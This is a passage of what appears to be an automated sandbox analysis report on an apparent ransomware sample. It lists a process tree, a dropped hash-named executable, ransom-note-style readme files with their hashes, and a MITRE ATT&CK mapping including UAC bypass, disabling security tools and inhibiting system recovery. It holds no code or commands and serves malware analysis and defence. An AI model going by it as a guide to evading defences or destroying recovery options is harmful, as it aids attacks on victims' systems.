PID:2492

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1552

C:\Windows\system32\taskeng.exe
taskeng.exe {5848C602-77C7-410A-A731-FEBAFD6ACD19} S-1-5-21-2721934792-624042501-2768869379-1000:BISMIZHX\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1784
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
  2⤵
  - Executes dropped EXE
  PID:2292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe

Filesize
441KB

MD5
b1758767d10c75d1589c16763fca6fd3

SHA1
2722f21a31859ea735e908a1c705d07b139e3b12

SHA256
d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb

SHA512
93bdfaf8a7b35e3c0110e931a35c5a901c8acf06b36dd9e8cba9b770be642525ba0350ae94d68556961b06b0d802cd2e1997fc73849c643f76eba721215abf5e

Download Submit
C:\Users\Admin\Favorites\Microsoft Websites\UVfQp_readme_.txt

Filesize
3KB

MD5
38789ec40fed216bfed79d52443e6308

SHA1
2c5dfc8309d0ea19bfee9adbfdee00fb165eafe0

SHA256
d0cc338b09d3ca11056fbb2cda832f3365d123761495b7f78cf8bf429827ea90

SHA512
6dbb04e31af2d22e874e5daf4e3f45a4cd7c90c6ebcc2a65a563c953518d433f882795478740883af161973b9811b8e85f5b419e9b9787da24167f12d8e382e9

Download Submit
C:\Users\Admin\UVfQp_readme_.txt

Filesize
3KB

MD5
68b8db6bf3942fc4e7a772d2352e5b8e

SHA1
bfd249fd1314d38d5c81fbc1839867b9389844c0

SHA256
f4a3c5e04e3f627aeebe157ccfefaa473916381e784015730bc1a2c6b487e1e6

SHA512
e3925261f85e8d1b875c5624add034fef802bdcb40df801299c2fac13d4a5b41b102167f0efde8c3174bdfdb6de62ccdb714f9375fca2c53092126da02918c16

Download Submit
memory/2084-0-0x0000000000400000-0x00000000005E3204-memory.dmp

Filesize
1.9MB

Download
memory/2292-578-0x0000000000400000-0x00000000005E3204-memory.dmp

Filesize
1.9MB

Download